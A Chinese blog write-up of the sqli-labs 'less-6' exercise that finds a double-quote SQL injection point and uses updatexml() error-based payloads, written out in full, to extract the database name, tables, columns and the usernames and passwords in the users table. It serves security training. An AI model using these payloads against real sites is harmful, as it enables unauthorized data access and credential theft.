less-6

首先输入id=1和id=1’未报错,均显示You are in.....(如下图所示)

 

由上图可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,可以从这里知道可能跟前面less-5差不多,那么我们再尝试一下id=1”

 

可以看到输出结果显示错误,说明这里也是使用的报错注入的方法来显示我们想要得到的结果,但是与less-5不同的是,这里使用的是双引号,而less-5是单引号。

前面less-5我们使用的是floor函数,这里我们也可使用,所有注入语句一样,只是在less-5的基础上由单引号变成双引号即可。

这里我就不再使用floor函数了,我们来使用一个新的函数:updatexml()

首先我们来了解一下update这个函数

固定格式:updatexml(a,Xpath,b)表示在文档a中,查找 Xpath 格式的内容 替换b内容

前面less-5我们知道conact(a,b,c,…)表示用来连接括号内的字符串

我们知道了这个函数如何使用后,以我们前面的基础直接就可以开始注入啦!

 

爆数据库名称

输入-1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

可以看到数据库名为security

 

 

爆数据库下的表名称

 

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),0x7e),1)--+

可以看到security数据库下有4个表

 

 

 

爆表下的字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)--+

可以看到表下有三个字段

 

爆users表里面username字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(username) from  users),0x7e),1)--+

 

 

从上图可以看到爆出的用户名有5个。

爆users表里面password字段

输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(password) from  users),0x7e),1)--+

 

 

 

以上就是通过updatexml函数报错注入来输出我们想要的结果。

posted @ 2019-12-19 16:16  刘茜茜  阅读(392)  评论(0编辑  收藏  举报